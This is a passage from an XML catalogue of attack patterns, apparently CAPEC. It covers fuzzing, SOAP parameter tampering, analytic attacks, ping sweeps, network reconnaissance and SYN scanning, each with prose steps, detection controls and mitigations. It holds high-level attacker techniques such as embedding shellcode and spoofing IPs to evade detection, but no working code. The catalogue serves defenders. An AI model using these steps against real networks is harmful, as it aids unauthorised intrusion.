												env-CommProtocol</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Monitor API execution. Using a tool such as
												ktrace, strace, APISpy, or another debugging tool,
												the attacker observes the system calls and API
												calls that are made by the target system, and the
												nature of their parameters.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local env-Embedded</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Observe inputs using web inspection tools
												(OWASP's WebScarab, Paros, TamperData, TamperIE,
												etc.)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker creates a list of
												unique communications packets, messages, inputs,
												API calls or other actions the software
												takes.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Alert on promiscuous
												mode. Some network devices (switches, hubs) or
												monitoring stations (e.g., IDS) can detect and
												alert when a station in the network is passively
												eavesdropping.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Some production
												hardware (for embedded environments) can have
												debugging disabled on the
												hardware.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Techniques exist to
												insert no-ops and other null branches that thwart
												basic attempts to execute software stepwise in a
												debugger.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Generate fuzzed
											inputs</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Given a fuzzing tool, a target input or protocol,
												and limits on time, complexity, and input variety,
												generate a list of inputs to try. Although fuzzing
												is random, it is not exhaustive. Parameters like
												length, composition, and how many variations to try
												are important to get the most cost-effective impact
												from the fuzzer.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Boundary cases. Generate fuzz inputs that
												attack boundary cases of protocol fields, inputs,
												or other communications limits. Examples include
												0xff and 0x00 for single-byte inputs. In binary
												situations, approach each bit of an individual
												field with on and off (e.g., 0x80).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Attempt arguments to system calls or APIs.
												The variations include payloads that, if they were
												successful, could lead to a compromise on the
												system.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local env-Embedded</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Log unexpected
												parameters to API calls or system
												calls.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Profile the software's
												expected use of system calls. Use a sandboxing
												technique to restrict its API calls to the
												expected patterns.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>SSL or other
												link-layer encryption techniques (VPN, 802.11x,
												etc.) can impair simple observation and require a
												would-be attacker to work much harder to get
												information about the operation of the
												software..</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Observe the outcome</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Observe the outputs to the inputs fed into the
												system by fuzzers and see if anything interesting
												happens. If failure occurs, determine why that
												happened. Figure out the underlying assumption that
												was invalidated by the input.</Text>
										</Attack_Step_Description>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The software produces an indicator that the
												attacker can see (error message, altered error
												state in a protocol, etc.).</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>The previous step led to plausible,
												practical fuzz inputs.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>If the software's indicators
												(error messages, etc.) vary clearly based on the
												attacker's input, then the attacker has a
												sufficient starting point for customizing his
												attack.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>The attacker is unable to
												induce unexpected failures or output based fuzzed
												inputs.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Craft exploit
											payloads</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Put specially crafted input into the system that
												leverages the weakness identified through fuzzing
												and allows to achieve the goals of the attacker.
												Fuzzers often reveal ways to slip through the input
												validation filters and introduce unwanted data into
												the system.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Identify and embed shellcode for the target
												system.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Embed higher level attack commands in the
												payload. (e.g., SQL, PHP, server-side includes,
												etc.)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-CommProtocol env-Peer2Peer
												env-ClientServer</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Induce denial of service by exploiting
												resource leaks or bad error handling.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor system logs
												and alert on unusual activity. Most shellcode and
												unusual activity appears in
												logs.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Typical_Severity>Medium</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Brute Force</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>A fuzz test reveals that when data length for a particular field
							exceeds certain length, the input validation filter fails and lets the
							user data in unfiltered. This provides an attacker with an injection
							vector to deliver the malicious payload into the system.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>There is a wide variety of fuzzing tools available.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Fuzzing tools.</Text>
			</Resources_Required>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>A lot of invalid data is fed to the system. Data that cannot have been
							generated through a legitimate transaction/request. Data is coming into
							the system within a short period of time and potentially from the same
							IP.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Obfuscation_Techniques>
				<Obfuscation_Technique>
					<Description>
						<Text>Take pauses between fuzzing attempts (may not be very practical).
							Spoof IP addresses so that it does not look like all data is coming from
							the same source.</Text>
					</Description>
				</Obfuscation_Technique>
			</Obfuscation_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Test to ensure that the software behaves as per specification and that
						there are no unintended side effects. Ensure that no assumptions about the
						validity of data are made.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use fuzz testing during the software QA process to uncover any surprises,
						uncover any assumptions or unexpected behavior.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Unexpected State</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>388<!--Error Handling--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>728<!--OWASP Top Ten 2004 Category A7 - Improper Error Handling--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>223<!--Probabilistic Techniques--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Reconnaissance</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Medium</Confidentiality_Impact>
				<Integrity_Impact>Medium</Integrity_Impact>
				<Availability_Impact>Medium</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Eugene Lebanidze</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-02-26</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-01</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="280" Name="SOAP Parameter Tampering" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker sends a SOAP message where the field values are other than
						what the server is likely to expect in order to precipitate non-standard
						server behavior. In a SOAP message, parameters take the form of values
						within XML elements. The server will have an XML schema that indicates
						certain restrictions on these parameter values. For example, the server may
						expect a parameter to be a string with fewer than 10 characters, or a number
						less than 100. In a SOAP parameter tampering attack, an attacker either
						violates this schema, or takes advantage of flexibility within the schame
						(for example, a lack of a character limit) to provide parameters that a
						server might not expect. Examples of unexpected parameters include oversized
						data, data with different data types, inserting metacharacters within data,
						and sending contextually inappropriate data (for example, sending a
						non-existant product name in a product name field or using an our-of-order
						sequence number). Results of this attack can include information disclosure,
						denial of service, or even execution of arbitrary code.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted server either fails to verify that data in SOAP messages
						conforms to the appropriate XML schema, or it fails to correctly handle the
						complete range of data allowed by the schema.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must be able to craft arbitrary SOAP messages and send them to
					the targeted server.</Text>
			</Resources_Required>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>279<!--Soap Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Navya Sidharth</Reference_Author>
					<Reference_Author>Jigang Liu</Reference_Author>
					<Reference_Title>Resistant SOAP Messaging with IAPF</Reference_Title>
				</Reference>
				<Reference>
					<Reference_Link>//my.safaribooksonline.com/9781584505501/ch12lev1sec4</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="281" Name="Analytic Attacks" Pattern_Abstraction="Meta"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker performs an analysis of a target system, protocol, message, or
						application in order to overcome protections on the target or as a precursor
						to other attacks. Analysis can involve dissection of an application,
						analysis of message patterns, formal analysis of protocols, or other
						methods. The outcome of these attacks can be disclosure of sensitive
						information, or disclosure of security configuration that leads to further
						attacks targeted to discovered weaknesses.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Any entity that can be observed by an attacker could potentially be
						vulnerable to an analysis attack.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>Most analysis attacks require tools in order to collect information about the
					target. For example, scanning suites and packet sniffers might be used to
					analyze a web service or protocol. Moreover, following collection of
					information, some attacks require additional tools in order to process the
					discovered data. Cryptanalysis applications are one example of such tools.
					Finally, some of these attacks require a high level of sophistication on the
					part of an attacker in order to extract useful results from collected
					information.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Implementation: When possible, minimize the information a system displays
						about itself, including minimizing unnecessary information in error messages
						and other descriptive messages.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Utilize techniques to minimize covert information. For example,
						intentionally throttling network throughput can hide an entities true
						throughput potential.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>330<!--Use of Insufficiently Random Values--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>514<!--Covert Channel--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>200<!--Information Exposure--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>210<!--Abuse of Functionality--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="285" Name="ICMP Echo Request Ping" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker sends out an ICMP Type 8 Echo Request, commonly known as a
						'Ping', in order to determine if a target system is responsive. If the
						request is not blocked by a firewall or ACL, the target host will respond
						with an ICMP Type 0 Echo Reply datagram. This type of exchange is usually
						referred to as a 'Ping' due to the Ping utility present in almost all
						operating systems. Ping, as commonly implemented, allows a user to test for
						alive hosts, measure round-trip time, and measure the percentage of packet
						loss. Performing this operation for a range of hosts on the network is known
						as a 'Ping Sweep'. While the Ping utility is useful for small-scale host
						discovery, it was not designed for rapid or efficient host discovery over
						large network blocks. Other scanning utilities have been created that make
						ICMP ping sweeps easier to perform. Most networks filter ingress ICMP Type 8
						messages for security reasons. Various other methods of performing ping
						sweeps have developed as a result. It is important to recognise the key
						security goal of the attacker is to discover if an IP address is alive, or
						has a responsive host. To this end, virtually any type of ICMP message, as
						defined by RFC 792 is useful. An attacker can cycle through various types of
						ICMP messages to determine if holes exist in the firewall configuration.
						When ICMP ping sweeps fail to discover hosts, other protocols can be used
						for the same purpose, such as TCP SYN or ACK segments, UDP datagrams sent to
						closed ports, etc. The attackers goal is to discover as many potential
						targets as possible can utilise a wide range of techniques to achieve this
						end. ICMP pings have the following characteristics:</Text>
					<Block Block_Nature="List">
						<Text>1. Host Discovery: Can be used to discover if a host is alive via ICMP
							Echo Reply Message</Text>
						<Text>2. Effective Against: LANs or Internal IP address ranges where
							firewall or ACL rules are less restrictive</Text>
						<Text>3. Weak Against: Firewalls properly configured to block ICMP Echo
							Request and Echo Replies.</Text>
						<Text>4. Port State: Unable to determine the status of ports on a
							host.</Text>
					</Block>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="Internet Control Messaging Protocol">
								<Protocol_Structure>
									<Protocol_Header ID="1">
										<Protocol_RFC>RFC 792</Protocol_RFC>
										<Protocol_Field_Name>Type</Protocol_Field_Name>
										<Protocol_Field_Description>The ICMP Type Field determines
											the function of the ICMP query. A Type 8 message directs
											the target to reply to the sender of the echo request
											message with an echo reply message. In forming an echo
											reply the source and destination addresses are switched,
											the Type field is set to '0', any data contained in the
											data portion of the echo request is sent "echoed" back
											to the host, and the checksum is recalculated. </Protocol_Field_Description>
										<Protocol_Operation_Code>8</Protocol_Operation_Code>
										<Protocol_Data>ICMP echo requests may contain arbitrary data
											as a payload. When the ICMP Type is 8 (echo request),
											the data received in the echo message must be returned
											in the echo reply message. </Protocol_Data>
									</Protocol_Header>
								</Protocol_Structure>
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The ability to send an ICMP type 8 query (Echo Request) to a remote target
						and receive an ICMP type 0 message (ICMP Echo Reply) in response. Any
						firewalls or access control lists between the sender and receiver must allow
						ICMP Type 8 and ICMP Type 0 messages in order for a ping operation to
						succeed.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>Ability to send custom ICMP queries. This can be accomplished via the use of
					various scanners or utilities. </Text>
			</Resources_Required>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>292<!--Host Discovery--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Keywords>
				<Keyword>Ping</Keyword>
			</Keywords>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pp. 44-51</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>J. Postel</Reference_Author>
					<Reference_Title>RFC792 - Internet Control Messaging Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc792.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Internet Engineering Task Force, R Braiden,
						Editor</Reference_Author>
					<Reference_Title>RFC1122 - Requirements for Internet Hosts - Communication
						Layers</Reference_Title>
					<Reference_PubDate>1989</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc1122.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Mark Wolfgang</Reference_Author>
					<Reference_Title>Host Discovery with Nmap</Reference_Title>
					<Reference_PubDate>2002</Reference_PubDate>
					<Reference_Link>http://nmap.org/docs/discovery.pdf</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Section 3.5.2 Ping Scan (-SP), pg. 58</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC, ISBN:
						978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="286" Name="Network Reconnaissance" Pattern_Abstraction="Meta"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker engages in network reconnaissance operations to gather
						information about a target network or its hosts. Network Reconnaissance
						techniques can range from stealthy to noisy and utilize different tools and
						methods depending upon the scope of the reconnaissance. Some techniques may
						target single hosts while others are used against entire network address
						ranges, such as a CIDR class C or B network. In general, reconnaissance
						activities fall into 5 distinct categories.</Text>
					<Block Block_Nature="List">
						<Text>1. Host Discovery: The ICMP methods, as well as messages of other
							protocol types, commonly UDP and TCP, to determine if a host is active
							on an IP address.</Text>
						<Text>2. Port Scanning: The application of various methods to determine the
							status of the ports on the remote device. Each machine can have a
							possible 65535 UDP and TCP ports that provide a service to network
							clients. The goal of port scanning is to determine which ports on a
							machine are open, as well as which ports are firewalled or
							filtered.</Text>
						<Text>3. Operating System Fingerprinting: use of various probing methods to
							determine idiosyncratic behaviors of a remote device that allow the
							attacker to determine the operating system. Although networking
							protocols are governed by standards, each operating system exhibits
							unique characteristics of its implementation of these standards. By
							sending malformed packets or datagrams an attacker can solicit responses
							from an device that allow a highly reliable inference about its
							operating system.</Text>
						<Text>4. Service Enumeration: Application-layer services can run on
							arbitrary ports, so an attacker must probe or interact with a remote
							port in order to obtain a fingerprint or signature of the application or
							protocol daemon using the port for communication.</Text>
						<Text>5. Firewall Auditing: An attacker uses a number of techniques to
							determine which types of data can be infiltrated or exfiltrated through
							a firewall. These techniques require a responsive host protected by a
							firewall so that the attacker can map out which types of protocols and
							message types reach the' host or hosts and generate a response.</Text>
					</Block>
					<Text> Applied together these activities allow an attack to map out a target
						network, its topology, as well as gather detailed device configuration
						information.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="Internet Protocol" RFC="791"> </Protocol>
							<Protocol ID="2" Name="User Datagram Protocol" RFC="768"> </Protocol>
							<Protocol ID="3" Name="Internet Control Messaging Protocol" RFC="792"> </Protocol>
							<Protocol ID="4" Name="Transmission Control Protocol" RFC="793"
							> </Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The ability to send data to hosts on a target network segment and receive
						responses.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>Each type of reconnaissance uses specific tools and methodologies to acquire
					information from the target.</Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets and
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pp. 38-39</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Section 3.1 Introduction, pg. 47</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC, ISBN:
						978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="287" Name="TCP SYN Scan" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses a SYN scan to determine the status of ports on the remote
						target. SYN scanning is the most common type of port scanning that is used
						because of its enormous advantages and few drawbacks. As a result, novice
						attackers tend to overly rely on the SYN scan while performing system
						reconnaissance. As a scanning method the primary advantages of SYN scanning
						are its universality and speed. RFC 793 defines the required behavior of any
						TCP/IP device in that an incoming connection request begins with a SYN
						packet, which in turn must be followed by a SYN/ACK packet from the
						receiving service. For this reason, like TCP Connect scanning, SYN scanning
						works against any TCP stack. Unlike TCP Connect scanning, it is possible to
						scan thousands of ports per second using this method. This type of scanning
						is usually referred to as 'half-open' scanning because it does not complete
						the three-way handshake. The scanning rate is extremely fast because no time
						is wasted completing the handshake or tearing down the connection. TCP SYN
						scanning can also immediately detect 3 of the 4 important types of port
						status: open, closed, and filtered. When a SYN is sent to an open port and
						unfiltered port, a SYN/ACK will be generated. This technique allows an
						attacker to scan through stateful firewalls due to the common configuration
						that TCP SYN segments for a new connection will be allowed for almost any
						port. When a SYN packet is sent to a closed port a RST is generated,
						indicating the port is closed. When SYN scanning to a particular port
						generates no response, or when the request triggers ICMP Type 3 unreachable
						errors, the port is filtered. A TCP Connect scan has the following
						characteristics:</Text>
					<Block Block_Nature="List">
						<Text>1. Speed: TCP SYN scanning is fast compared to other types of
							scans.</Text>
						<Text>2. Stealth: TCP SYN scanning is stealthy and SYN scan detection is
							fraught with false positives.</Text>
